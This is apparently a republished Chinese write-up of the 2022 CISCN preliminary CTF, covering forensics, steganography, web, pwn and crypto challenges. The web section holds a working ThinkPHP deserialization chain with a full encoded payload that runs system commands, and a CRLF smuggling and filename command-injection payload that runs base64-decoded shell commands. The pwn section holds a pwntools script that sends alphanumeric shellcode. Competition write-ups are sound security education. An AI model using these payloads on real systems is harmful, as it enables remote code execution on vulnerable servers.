2022 CISCN 创新能力实践赛初赛WP

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2022 CISCN 创新能力实践赛初赛WP相关的知识,希望对你有一定的参考价值。

WP来自齐鲁师范学院网络安全社团

文章目录

MISC

ez_usb

文件-导出特定分组

tshark -r 2.8.1.pcapng -T fields -e usb.capdat > 2.8.1.txt
​
import os,sys
​
normalKeys = 
​
  "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
​
  "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
​
   "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
​
   "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
​
     "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
​
     "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
​
      "22":"5", "23":"6","24":"7","25":"8","26":"9",
​
      "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\\t",
​
      "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
​
      "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
​
      "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
​
      "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
​
      "44":"<F11>","45":"<F12>"
​
shiftKeys = 
​
  "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
​
   "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
​
   "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
​
     "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
​
     "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
​
      "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
​
      "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
​
      "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\\t","2c":"<SPACE>",
​
      "2d":"_","2e":"+","2f":"","30":"","31":"|","32":"<NON>","33":""",
​
      "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
​
      "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
​
      "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"
​
 
​
#pcapFilePath = sys.argv[1]
​
#os.system("tshark -r "+pcapFilePath+" -T fields -e usb.capdata | sed '/^\\s*$/d' > out.txt")
​
output = []
​
keys = open('./2.8.1.txt')
​
for line in keys:
​
  line = ''.join(line[i:i+2]+':' for i in range(0,len(line)-1,2)).strip(':') 
​
  try:
​
     if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
​
        continue
​
     if line[6:8] in normalKeys.keys():
​
       output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
​
     else:
​
       output += ['[unknown]']
​
  except:
​
     pass
​
 
​
keys.close()
​
 
​
flag=0
​
#print("".join(output))
​
for i in range(len(output)):
​
  try:
​
     a=output.index('<DEL>')
​
     del output[a]
​
     del output[a-1]
​
  except:
​
     pass
​
 
​
for i in range(len(output)):
​
  try:
​
     if output[i]=="<CAP>":
​
       flag+=1
​
       output.pop(i)
​
       if flag==2:
​
         flag=0
​
     if flag!=0:
​
       output[i]=output[i].upper()
​
  except:
​
     pass
​
 
​
print ('output :' + "".join(output))
​
os.system("rm -rf 2.8.1.txt")

得到加密的压缩包,同样方式提取

得到压缩包密码

output :35c535765e50074a

解密得到flag

flag20de17cc-d2c1-4b61-bebd-41159ed7172d

everlasting_night

stegsolve 查看图片发现

得到一个密码,考虑 lsb 隐写加密

python2 lsb.py extract everlasting_night.png out.txt f78dcd383f1b574b

得到 zip,发现被加密,想到 png 后面还有一串字符没用

经过各种尝试最后发现是 md5,somd5 解密就好了得到压缩包密码

ohhWh04m1

010 打开发现 png 但是不是正常的图片,gimp 打开看一下

flag607f41da-e849-4c0b-8867-1b3c74536cc4

babydisk

附件是 vmdk 文件,可以直接拿 Diskgenius 挂载,也可以使用 winhex 等等。这里我使用 DiskGenius 挂载

挂载后能看到有个 wav

右击-复制到桌面可以提取出来,010 查看没啥东西,wav 的隐写有 deepsound 和 silenteye 或者还有其他,先用deepsound 试一下,用 deepsound 打开如果能显示存在密码说明就是 deepsound 隐写的

现在的问题是需要一个密码,那就谷歌搜一下

里面的文章恰好完成了我们的需求

https://blog.csdn.net/weixin_45696568/article/details/118573215

#!/usr/bin/env python3
​
'''
​
deepsound2john extracts password hashes from audio files containing encrypted
​
data steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).
​
This method is known to work with files created by DeepSound 2.0.
​
Input files should be in .wav format. Hashes can be recovered from audio files
​
even after conversion from other formats, e.g.,
​
  ffmpeg -i input output.wav
​
Usage:
​
  python3 deepsound2john.py carrier.wav > hashes.txt
​
  john hashes.txt
​
This software is copyright (c) 2018 Ryan Govostes <rgovostes@gmail.com>, and
​
it is hereby released to the general public under the following terms:
​
Redistribution and use in source and binary forms, with or without
​
modification, are permitted.
​
'''
​
 
​
import logging
​
import os
​
import sys
​
import textwrap
​
 
​
 
​
def decode_data_low(buf):
​
 return buf[::2]
​
 
​
def decode_data_normal(buf):
​
 out = bytearray()
​
 for i in range(0, len(buf), 4):
​
  out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
​
 return out
​
 
​
def decode_data_high(buf):
​
 out = bytearray()
​
 for i in range(0, len(buf), 8):
​
  out.append((buf[i] & 3) << 6   | (buf[i + 2] & 3) << 4 \\
​
        | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
​
 return out
​
 
​
 
​
def is_magic(buf):
​
# This is a more efficient way of testing for the `DSCF` magic header without
​
# decoding the whole buffer
​
 return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \\
​
   and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \\
​
   and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \\
​
   and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
​
 
​
 
​
def is_wave(buf):
​
 return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
​
 
​
 
​
def process_deepsound_file(f):
​
 bname = os.path.basename(f.name)
​
 logger = logging.getLogger(bname)
​
 
​
# Check if it's a .wav file
​
 buf = f.read(12)
​
 if not is_wave(buf):
​
  global convert_warn
​
  logger.error('file not in .wav format')
​
  convert_warn = True
​
  return
​
 f.seek(0, os.SEEK_SET)
​
 
​
# Scan for the marker...
​
 hdrsz = 104
​
 hdr = None
​
 
​
 while True:
​
  off = f.tell()
​
  buf = f.read(hdrsz)
​
  if len(buf) < hdrsz: break
​
 
​
  if is_magic(buf):
​
      hdr = decode_data_normal(buf)
​
      logger.info('found DeepSound header at offset %i', off)
​
      break
​
 
​
  f.seek(-hdrsz + 1, os.SEEK_CUR)
​
 
​
 if hdr is None:
​
  logger.warn('does not appear to be a DeepSound file')
​
  return
​
 
​
# Check some header fields
​
 mode = hdr[4]
​
 encrypted = hdr[5]
​
 
​
 modes = 2: 'low', 4: 'normal', 8: 'high'
​
 if mode in modes:
​
  logger.info('data is encoded in %s-quality mode', modes[mode])
​
 else:
​
  logger.error('unexpected data encoding mode %i', modes[mode])
​
  return
​
 
​
 if encrypted == 0:
​
  logger.warn('file is not encrypted')
​
  return
​
 elif encrypted != 1:
​
  logger.error('unexpected encryption flag %i', encrypted)
​
  return
​
 
​
 sha1 = hdr[6:6+20]
​
 print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
​
​
if __name__ == '__main__':
​
 import argparse
​
 parser = argparse.ArgumentParser()
​
 parser.add_argument('--verbose', '-v', action='store_true')
​
 parser.add_argument('files', nargs='+', metavar='file',
​
  type=argparse.FileType('rb', bufsize=4096))
​
 args = parser.parse_args()
​
​
 if args.verbose:
​
  logging.basicConfig(level=logging.INFO)
​
 else:
​
  logging.basicConfig(level=logging.WARN)
​
 
​
 convert_warn = False
​
 
​
 for f in args.files:
​
  process_deepsound_file(f)
​
 
​
 if convert_warn:
​
  print(textwrap.dedent('''
​
  ---------------------------------------------------------------
​
  Some files were not in .wav format. Try converting them to .wav
​
  and try again. You can use: ffmpeg -i input output.wav
​
  ---------------------------------------------------------------
​
  '''.rstrip()), file=sys.stderr)

先使用脚本获取一 hash 再用 john 爆破就好了

得到密码是 feedback

得到 key.txt

这个时候拿到 key 肯定是要解密什么东西,思考一下现在可以利用的东西,音频已经解完了,可能是 vmdk 还有什么东西没有发现,然后使用 FTK 挂载一下

在回收站发现了两个文件,导出看一下,结合刚刚拿到的密码想到可以用 veracrypt 或者是 Truecrypt (具体名字忘了),经过尝试可以用 vera 挂载,$RDWTTK4 这个文件可以成功挂载

spiral 是一个 zip,然后发现里面的数据很乱

下面是复现部分。

搜索一下spiral

https://blog.csdn.net/GW_wg/article/details/120406192

def function(n):
​
  matrix = [[0] * n for _ in range(n)]
​
 
​
  number = 1
​
  left, right, up, down = 0, n - 1, 0, n - 1
​
  while left < right and up < down:
​
     # 从左到右
​
     for i in range(left, right):
​
       matrix[up][i] = number
​
       number += 1
​
 
​
     # 从上到下
​
     for i in range(up, down):
​
       matrix[i][right] = number
​
       number += 1
​
 
​
     # 从右向左
​
     for i in range(right, left, -1):
​
       matrix[down][i] = number
​
       number += 1
​
 
​
     for i in range(down, up, -1):
​
       matrix[i][left] = number
​
       number += 1
​
     left += 1
​
     right -= 1
​
     up += 1
​
     down -= 1
​
  # n 为奇数的时候,正方形中间会有个单独的空格需要单独填充
​
  if n % 2 != 0:
​
     matrix[n // 2][n // 2] = number
​
  return matrix

WEB

Ezpop

扫目录发现 www.zip,下载源码进行审计,结合题目提示发现是 tp 的旧有漏洞,去找网上的利用链

poc

<?php
​
namespace think\\model\\concern;
​
 
​
trait Attribute
​

​
  private $data = ["key" => ["key1" => "cat /f*"]];
​
  private $withAttr = ["key"=>["key1"=>"system"]];
​
  protected $json = ["key"];
​

​
trait ModelEvent
​
  protected $withEvent;
​

​
 
​
namespace think;
​
 
​
abstract class Model
​
  use model\\concern\\Attribute;
​
  use model\\concern\\ModelEvent;
​
  private $exists;
​
  private $force;
​
  private $lazySave;
​
  protected $suffix;
​
  function __construct($a = '')
​
  
​
     $this->exists = true;
​
     $this->force = true;
​
     $this->lazySave = true;
​
     $this->withEvent = false;
​
     $this->suffix = $a;
​
  
​

​
 
​
namespace think\\model;
​
 
​
use think\\Model;
​
 
​
class Pivot extends Model
​
 
​
echo urlencode(serialize(new Pivot(new Pivot())));
​
?>

生成 poc

a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

访问路由 index.php/index/test

online_crt

下载代码进行审计

app.py

@app.route('/getcrt', methods=['GET', 'POST'])
​
def upload():
​
  Country = request.form.get("Country", "CN")
​
  Province = request.form.get("Province", "a")
​
  City = request.form.get("City", "a")
​
  OrganizationalName = request.form.get("OrganizationalName", "a")
​
  CommonName = request.form.get("CommonName", "a")
​
  EmailAddress = request.form.get("EmailAddress", "a")
​
  return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)

生成 crt 证书

@app.route('/createlink', methods=['GET'])
​
def info():
​
  json_data = "info": os.popen("c_rehash static/crt/ && ls static/crt/").read()
​
  return json.dumps(json_data)
​
 
​
@app.route('/proxy', methods=['GET'])
​
def proxy():
​
  uri = request.form.get("uri", "/")
​
  client = socket.socket()
​
  client.connect(('localhost', 8887))
​
  msg = f'''GET uri HTTP/1.1
​
Host: test_api_host
​
User-Agent: Guest
​
Accept-Encoding: gzip, deflate
​
Accept-Language: zh-CN,zh;q=0.9
​
Connection: close
​
 
​
'''
​
  client.send(msg.encode())
​
  data = client.recv(2048)
​
  client.close()
​
  return data.decode()
​
可以访问内网 8887 端口的 go 服务
​
func admin(c *gin.Context) 
​
  staticPath := "/app/static/crt/"
​
  oldname := c.DefaultQuery("oldname", "")
​
  newname := c.DefaultQuery("newname", "")
​
  if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") 
​
     c.String(500, "error")
​
     return
​
  
​
  if c.Request.URL.RawPath != "" && c.Request.Host == "admin" 
​
     err := os.Rename(staticPath+oldname, staticPath+newname)
​
     if err != nil 
​
       return
​
     
​
     c.String(200, newname)
​
     return
​
  
​
  c.String(200, "no")
​

可以看到 admin 函数替换名字,也就是说文件名称是可以控制的

也就是说题目重点也是我们可以操作的点就是:app.py 的 info 函数

ls 进行列目录

c_rehash 扫描指定目录列表中的.pem,.crt,.cer及.crl文件并为这些文件计算hash值,并以计算出的hash值为名字为这些文件创建符号连接。(如果你的操作平台不支持符号连接,则执行的是一个拷贝。)这个功能像很多程序一样有用,对于使用OpenSSL要求建立的目录,其目的是找到证书。

访问内网 go 服务需要使用 get 请求加上 post 下的参数,使用 clrf 发完整的 http 包

最终 payload

uri=/admin/renam%25%36%35?oldname=6feee645-87d2-411f-bc5d-13501b3eae98.crt%26newname="||echo%25%32%30Y2F0IC9mbGFn|base64%25%32%30-d|sh||".crt%20HTTP/1.1%0aHost: admin%0aAa:%0a%0a

首先访问 getcrt 生成 crt 文件,发包去替换 crt 文件名

然后 createlink 去执行命令看到 flag

PWN

login-nomal

通过菜单功能 1 获得 root 权限,通过功能 2mmap 一段可读可写可执行权限的地址,并且发现里面有对于输入内容是否为可视字符的 check,使用 alpha3 生成 shellcode 以后 getshell

from pwn import *

p = process('./pwn')

payload1 = "msg:ro0tt\\nopt:1\\n"

p.sendline(payload1)

sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070tt"

payload2 = "msg:"+sc+"\\nopt:2\\n"

p.sendline(payload2)

p.interactive()

CRY

基于挑战码的双向认证1

非预期

用户名密码均为player

cd /root/cube-shell/instance/flag_server

直接 catflag 即可

基于挑战码的双向认证2

非预期

cat flag2.txt

基于挑战码的双向认证2

非预期

弱密码

su root、toor 密码

签到电台

根据公众号给出的提示,得到了“弼时安全到达了”所对应的7个电码:

1732 2514 1344 0356 0451 6671 0055

知道是要从密码表截取前28位,每位相加然后模除以10,加不进位,减不借位

脚本:

key = '6561607990115808526135662113'

nums = '1732251413440356045166710055'

for i in range(0,28):

  print((int(key[i])+int(nums[i])) % 10,end="")

#7293858303555154561291372168

用url传参把结果传进去,就能拿到flag

ISO9798

申请容器,用自己的服务器 nc 容器

根据提示爆破四位的字符串

脚本:

from hashlib import sha256

 

s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789'

 

for i in s:

  for j in s:

     for k in s:

       for l in s:

         string = i+j+k+l+'xBSIsJVew5i1em0k'

         b = sha256(string.encode('utf-8')).hexdigest()

         if (b == 'fd5cfd228da08b9b788e3c2290268eca55f98581c3c54e2c577dcb051de50071'):

           print(string)

输入个数字作为RB的值

根据题目提示参考ISO9798-2标准,对RA和RB做分割提取和拼接

https://www.doc88.com/p-1496121116297.html

s = '0dc7b82d345c2cdfee36dc1c7d5a397a78e6af74fa2bd810be55dd3cefb1afe96f5a0acdd3a17922baaf31ea767d99e2'

ra = s[0:32]

rb = s[32:64]

print(rb+ra)

输入计算的值,得到flag

以上是关于2022 CISCN 创新能力实践赛初赛WP的主要内容,如果未能解决你的问题,请参考以下文章

第15届全国大学生知识竞赛场景实操 2022ciscn初赛 部分writeup

ciscn国赛初赛web(4道低分题)

2022 第13届 中国大学生服务外包创新创业大赛 作品提交要求

[CISCN2021] 初赛 easy_source

[CISCN2021] 初赛 easy_source

中国高校大数据挑战赛含金量